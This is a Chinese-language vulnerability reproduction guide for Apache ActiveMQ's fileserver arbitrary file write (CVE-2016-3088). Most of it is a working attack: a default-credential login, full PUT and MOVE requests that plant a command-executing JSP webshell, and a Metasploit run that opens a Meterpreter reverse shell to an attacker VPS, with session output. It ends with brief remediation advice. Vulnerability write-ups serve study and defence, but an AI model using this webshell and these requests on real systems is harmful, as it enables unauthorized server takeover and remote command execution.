0x01 漏洞描述 -Apache ActiveMQ任意文件写入漏洞(CVE-2016-3088) -
ActiveMQ是Apache软件基金会所研发的一套开源的消息中间件,它支持Java消息服务、集群、Spring Framework等。ActiveMQ的web控制台分三个应用,admin、api和fileserver,其中admin是管理员页面,api是接口,fileserver是储存文件的接口;admin和api都需要登录后才能使用,fileserver无需登录。fileserver是一个RESTful API接口,可以通过GET、PUT、DELETE等HTTP请求对其中存储的文件进行读写操作,其设计目的是为了弥补消息队列操作不能传输、存储二进制文件的缺陷。ActiveMQ在5.12.x~5.13.x版本中,已经默认关闭了fileserver这个应用(可以在conf/jetty.xml中开启);在5.14.0版本以后,彻底删除了fileserver应用。
0x02 漏洞等级
0x03 漏洞验证 访问ActiveMQ登录页面 http://ip:8161/admin
,使用默认账号密码admin/admin登录。
使用BurpSuite抓取网站页面数据包,利用PUT方法上传一个webshell文件。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 PUT /fileserver/shell.jsp HTTP/1.1 Host: 目标地址:8161 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:70.0) Gecko/20100101 Firefox/70.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Connection: close Upgrade-Insecure-Requests: 1 If-Modified-Since: Fri, 13 Feb 2015 17:54:40 GMT Cache-Control: max-age=0 Content-Length: 327 Authorization: (抓包获取Authorization值) Cookie: (抓包获取Cookie值) Connection: close <% if ("luckysec" .equals(request.getParameter("pwd" ))){ java.io.InputStream in = Runtime.getRuntime().exec (request.getParameter("cmd" )).getInputStream(); int a = -1; byte[] b = new byte[2048]; out.print("<pre>" ); while ((a=in.read(b))!=-1){ out.println(new String(b)); } out.print("</pre>" ); } %>
测试访问http://ip:8161/fileserver/shell.jsp
,文件写入成功,但fileserver目录无权限解析执行webshell脚本。
访问http://ip:8161/admin/test/systemProperties.jsp
获取物理路径(/opt/activemq)
利用 MOVE 方法将 Webshell 移动到物理路径(/opt/activemq/webapps/api)目录
1 2 3 4 5 6 7 8 9 10 11 MOVE /fileserver/shell.jsp HTTP/1.1 Destination: file:///opt/activemq/webapps/api/shell.jsp Host: 目标地址:8161 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:106.0) Gecko/20100101 Firefox/106.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Authorization: (抓包获取Authorization值) Cookie: (抓包获取Cookie值) Upgrade-Insecure-Requests: 1 Connection: close
访问 webshell 文件(需要登录),测试执行命令成功。
如果有VPS且安装了MSF,也可以直接利用MSF攻击模块获取目标网站shell。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 msf6 > use exploit/multi/http/apache_activemq_upload_jsp [*] No payload configured, defaulting to java/meterpreter/reverse_tcp msf6 exploit(multi/http/apache_activemq_upload_jsp) > set LHOST VPS地址 LHOST => VPS地址 msf6 exploit(multi/http/apache_activemq_upload_jsp) > set RHOSTS 目标地址 RHOSTS => 目标地址 msf6 exploit(multi/http/apache_activemq_upload_jsp) > exploit [*] Started reverse TCP handler on VPS地址:4444 [*] Uploading http://目标地址:8161//opt/activemq/webapps/api//espqKlWb.jar [*] Uploading http://目标地址:8161//opt/activemq/webapps/api//espqKlWb.jsp [*] Sending stage (58082 bytes) to VPS地址 [+] Deleted /opt/activemq/webapps/api//espqKlWb.jar [+] Deleted /opt/activemq/webapps/api//espqKlWb.jsp [*] Meterpreter session 1 opened (VPS地址:4444 -> VPS地址:61026) at 2022-08-17 13:33:08 +0800 meterpreter > pwd /opt/apache-activemq-5.11.1 meterpreter > ls Listing: /opt/apache-activemq-5.11.1 ==================================== Mode Size Type Last modified Name ---- ---- ---- ------------- ---- 100666/rw-rw-rw- 40580 fil 2015-02-14 02:05:11 +0800 LICENSE 100666/rw-rw-rw- 3334 fil 2015-02-14 02:05:11 +0800 NOTICE 100666/rw-rw-rw- 2610 fil 2015-02-14 02:05:11 +0800 README.txt 100776/rwxrwxrw- 6590659 fil 2015-02-14 02:01:12 +0800 activemq-all-5.11.1.jar 40776/rwxrwxrw- 4096 dir 2019-04-27 00:28:31 +0800 bin 40776/rwxrwxrw- 4096 dir 2019-04-27 00:28:31 +0800 conf 40776/rwxrwxrw- 4096 dir 2022-08-17 13:23:08 +0800 data 40776/rwxrwxrw- 4096 dir 2019-04-27 00:28:31 +0800 docs 40776/rwxrwxrw- 4096 dir 2019-04-27 00:28:31 +0800 examples 40776/rwxrwxrw- 4096 dir 2019-04-27 00:28:31 +0800 lib 40776/rwxrwxrw- 4096 dir 2022-08-17 13:23:08 +0800 tmp 40776/rwxrwxrw- 4096 dir 2019-04-27 00:28:31 +0800 webapps 40776/rwxrwxrw- 4096 dir 2019-04-27 00:28:31 +0800 webapps-demo meterpreter >
0x04 漏洞修复
升级ActiveMQ版本至最新版本。
修改配置文件(conf\jetty.xml)禁用 ActiveMQ Fileserver 功能。